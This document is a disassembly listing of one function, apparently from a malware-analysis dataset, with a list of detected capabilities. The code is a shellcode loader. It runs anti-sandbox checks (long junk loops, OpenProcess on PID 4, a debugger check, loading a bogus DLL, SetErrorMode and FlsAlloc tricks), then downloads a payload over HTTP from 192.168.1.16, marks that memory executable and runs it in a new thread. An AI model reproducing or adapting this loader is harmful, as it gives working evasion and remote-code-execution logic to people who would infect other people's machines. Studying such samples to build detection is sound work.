Function at 0x401799
Capabilities:
Allocate or change rwx memory
Connect to http server
Create http request
Create thread
Execute shellcode via indirect call
Link many functions at runtime
Read data from internet
Receive data
Send data
Send http request
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
sub rsp, 0x1b8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x120], xmm6
mov dword [rbp + 0x150], ecx
mov qword [rbp + 0x158], rdx
call fcn.00402530
mov dword [rbp + 0x11c], 0
jmp 0x401802
call sub.msvcrt.dll_rand
imul eax, eax, 0x1fe
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x00405080]
divsd xmm0, xmm1
call fcn.00403b40
movq rax, xmm0
mov qword [rbp + 0xd8], rax
add dword [rbp + 0x11c], 1
cmp dword [rbp + 0x11c], 0x53f53a
jle 0x4017cf
mov ecx, 0x209f4c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0xd0], rax
mov dword [rbp + 0x118], 0
jmp 0x401865
call sub.msvcrt.dll_rand
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x118]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xd0]
add rax, rdx
movsd xmm1, qword [0x00405080]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x118], 1
cmp dword [rbp + 0x118], 0x413e98
jle 0x40182b
mov dword [rbp + 0x118], 0
jmp 0x4018ca
mov eax, dword [rbp + 0x118]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xd0]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x118]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xd0]
lea rbx, [rdx + rax]
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x118], 1
cmp dword [rbp + 0x118], 0x413e98
jle 0x40187d
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.OpenProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xc8]
mov r8d, 4
mov edx, 0
mov ecx, 0x1f0fff
call rax
mov qword [rbp + 0xc0], rax
cmp qword [rbp + 0xc0], 0
jne 0x402438
mov dword [rbp - 0x28], 0
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.CheckRemoteDebuggerPresent
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xb8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp - 0x28]
mov rax, qword [rbp + 0xb8]
call rax
mov eax, dword [rbp - 0x28]
cmp eax, 1
je 0x4023fb
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.OpenProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov r8d, 4
mov edx, 0
mov ecx, 0x1f0fff
call rax
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x402260
mov dword [rbp + 0x114], 0xffffffff
mov ecx, 0x2e5efc8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0xa0], rax
add dword [rbp + 0x114], 1
call sub.msvcrt.dll_rand
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x114]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xa0]
add rax, rdx
movsd xmm1, qword [0x00405080]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x114]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xa0]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x114]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xa0]
lea rbx, [rdx + rax]
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x114], 0x5cbdf7
jle 0x4019f7
mov r8d, 4
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x98], rax
cmp qword [rbp + 0x98], 0
jne 0x40223f
lea rcx, str.sybgpfkjtajf.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x90], rax
cmp qword [rbp + 0x90], 0
jne 0x40221e
mov dword [rbp + 0x110], 0xffffffff
mov ecx, 0x2bc6bf8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x88], rax
add dword [rbp + 0x110], 1
call sub.msvcrt.dll_rand
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x00405080]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x110]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x88]
add rax, rdx
movsd xmm1, qword [0x00405088]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x110]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x88]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x110]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x88]
add rax, rdx
movq xmm1, qword [0x00405090]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x110], 0x578d7d
jle 0x401af5
mov r8d, 4
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x80], rax
cmp qword [rbp + 0x80], 0
jne 0x402438
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x78]
mov ecx, 0
call rax
mov dword [rbp + 0x74], eax
cmp dword [rbp + 0x74], 0xffffffff
je 0x402438
mov ecx, 0x6fb
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x6fb
jne 0x402438
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov r8d, 4
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x402438
mov ecx, 0x999ecc0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x60], rax
mov ecx, 0x999ecc0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x58], rax
mov ecx, 0x999ecc0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x50], rax
mov ecx, 0x999ecc0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x48], rax
mov dword [rbp + 0x108], 0x2667b2f
mov dword [rbp + 0x10c], 0
jmp 0x401d3b
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x10c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x60]
lea r8, [rdx + rax]
mov edx, 0x1b4e81b5
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x12c
sub ecx, eax
mov eax, ecx
mov dword [r8], eax
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x10c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x58]
lea r8, [rdx + rax]
mov edx, 0x1b4e81b5
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x12c
sub ecx, eax
mov eax, ecx
mov dword [r8], eax
add dword [rbp + 0x10c], 1
cmp dword [rbp + 0x10c], 0x2667b2f
jle 0x401cb2
mov dword [rbp + 0x10c], 0
jmp 0x401dcb
mov eax, dword [rbp + 0x108]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x60]
add rax, rdx
mov edx, dword [rbp + 0x10c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x50]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x108]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x58]
add rax, rdx
mov edx, dword [rbp + 0x10c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x48]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x108], 1
add dword [rbp + 0x10c], 1
cmp dword [rbp + 0x10c], 0x2667b2f
jle 0x401d57
mov rax, qword [rbp + 0x60]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x58]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x50]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x48]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, str.Mozilla_4.0
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x40], rax
cmp qword [rbp + 0x40], 0
je 0x402438
mov rax, qword [rbp + 0x40]
mov qword [rsp + 0x38], 1
mov dword [rsp + 0x30], 0x800000
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1b1
lea rdx, str.192.168.1.16
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetConnectA]
call rax
mov qword [rbp + 0x38], rax
cmp qword [rbp + 0x38], 0
je 0x402438
call fcn.004015b5
mov rdx, rax
mov rax, qword [rbp + 0x38]
mov qword [rsp + 0x38], 1
mov dword [rsp + 0x30], 0x84e03200
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
lea rdx, [0x00405067]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpOpenRequestA]
call rax
mov qword [rbp + 0x30], rax
cmp qword [rbp + 0x30], 0
je 0x402438
mov dword [rbp - 0x30], 0x3380
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x30]
mov r9d, 4
mov r8, rdx
mov edx, 0x1f
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetSetOptionA]
call rax
mov dword [rbp + 0x2c], eax
mov r9d, 4
mov r8d, 0x1000
mov edx, 0xf4240
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x100], rax
mov rax, qword [rbp + 0x30]
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpSendRequestA]
call rax
mov dword [rbp + 0x1c], eax
cmp dword [rbp + 0x1c], 0
je 0x402438
lea rcx, [rbp - 0x34]
mov rdx, qword [rbp + 0x100]
mov rax, qword [rbp + 0x30]
mov r9, rcx
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
mov dword [rbp + 0x18], eax
mov eax, dword [rbp - 0x34]
mov eax, eax
add qword [rbp + 0x100], rax
mov eax, dword [rbp - 0x34]
test eax, eax
jne 0x401f7d
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.VirtualProtect
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x10], rax
lea rdx, [rbp - 0x38]
mov rcx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x10]
mov r9, rdx
mov r8d, 0x40
mov edx, 0xf4240
call rax
mov dword [rbp + 0xc], eax
mov ecx, 0x85d090
call sub.msvcrt.dll_malloc
mov qword [rbp], rax
mov dword [rbp + 0xfc], 0
jmp 0x402096
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x3e8
sub ecx, eax
mov eax, ecx
cvtsi2ss xmm6, eax
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0xea0ea0eb
mov eax, ecx
imul edx
lea eax, [rdx + rcx]
sar eax, 6
mov edx, eax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x46
sub ecx, eax
mov eax, ecx
cvtsi2ss xmm0, eax
mov eax, dword [rbp + 0xfc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp]
add rax, rdx
divss xmm6, xmm0
movaps xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0xfc], 1
cmp dword [rbp + 0xfc], 0x217423
jle 0x402017
mov dword [rbp + 0xfc], 0
jmp 0x402194
mov dword [rbp - 4], 0
jmp 0x402179
mov eax, dword [rbp + 0xfc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp - 4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x402172
mov eax, dword [rbp - 4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp - 8], xmm0
mov eax, dword [rbp + 0xfc]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp]
add rdx, rax
mov eax, dword [rbp - 4]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp - 4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp]
add rax, rdx
movss xmm0, dword [rbp - 8]
movss dword [rax], xmm0
add dword [rbp + 0xfc], 1
mov eax, 0x217423
sub eax, dword [rbp + 0xfc]
cmp dword [rbp - 4], eax
jl 0x4020c1
add dword [rbp + 0xfc], 1
cmp dword [rbp + 0xfc], 0x217423
jle 0x4020b5
mov rax, qword [rbp]
mov rcx, rax
call sub.msvcrt.dll_free
mov rdx, qword [rbp + 0x20]
lea rax, [rbp - 0x2c]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x10], rax
mov dword [rbp + 0xf8], 0x12bb52a8
jmp 0x4021f8
sub dword [rbp + 0xf8], 1
cmp dword [rbp + 0xf8], 0x3c
jg 0x4021f1
mov rax, qword [rbp - 0x10]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp - 0x14], eax
jmp 0x402438
mov dword [rbp + 0xf4], 0x12bb52a8
jmp 0x402231
sub dword [rbp + 0xf4], 1
cmp dword [rbp + 0xf4], 0x3c
jg 0x40222a
jmp 0x402438
mov dword [rbp + 0xf0], 0x52620b90
jmp 0x402252
sub dword [rbp + 0xf0], 1
cmp dword [rbp + 0xf0], 0
jg 0x40224b
jmp 0x402438
mov ecx, 0x9ea0
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x20], rax
mov dword [rbp + 0xec], 0
jmp 0x4022f4
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x3e8
sub ecx, eax
mov eax, ecx
cvtsi2ss xmm6, eax
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x64
sub ecx, eax
mov eax, ecx
cvtsi2ss xmm0, eax
mov eax, dword [rbp + 0xec]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp - 0x20]
add rax, rdx
divss xmm6, xmm0
movaps xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0xec], 1
cmp dword [rbp + 0xec], 0x27a7
jle 0x40227a
mov dword [rbp + 0xec], 0
jmp 0x4023dd
cmp dword [rbp + 0xec], 0
je 0x402357
mov eax, dword [rbp + 0xec]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp - 0x20]
add rax, rdx
movss xmm1, dword [rax]
mov eax, dword [rbp + 0xec]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp - 0x20]
add rax, rdx
movss xmm0, dword [rax]
comiss xmm0, xmm1
jb 0x402360
add dword [rbp + 0xec], 1
jmp 0x4023dd
mov eax, dword [rbp + 0xec]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp - 0x20]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp - 0x24], xmm0
mov eax, dword [rbp + 0xec]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp - 0x20]
add rdx, rax
mov eax, dword [rbp + 0xec]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp - 0x20]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0xec]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp - 0x20]
add rax, rdx
movss xmm0, dword [rbp - 0x24]
movss dword [rax], xmm0
sub dword [rbp + 0xec], 1
cmp dword [rbp + 0xec], 0x27a7
jle 0x402313
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x402438
mov dword [rbp + 0xe8], 0x2de8a8aa
mov dword [rbp + 0xe4], 0x2d4d392e
jmp 0x40242f
mov eax, dword [rbp + 0xe8]
cmp eax, dword [rbp + 0xe4]
jle 0x402428
sub dword [rbp + 0xe8], 1
jmp 0x40242f
sub dword [rbp + 0xe4], 1
cmp dword [rbp + 0xe8], 0
jg 0x402411
mov eax, 0
movaps xmm6, xmmword [rbp + 0x120]
add rsp, 0x1b8
pop rbx
pop rbp
ret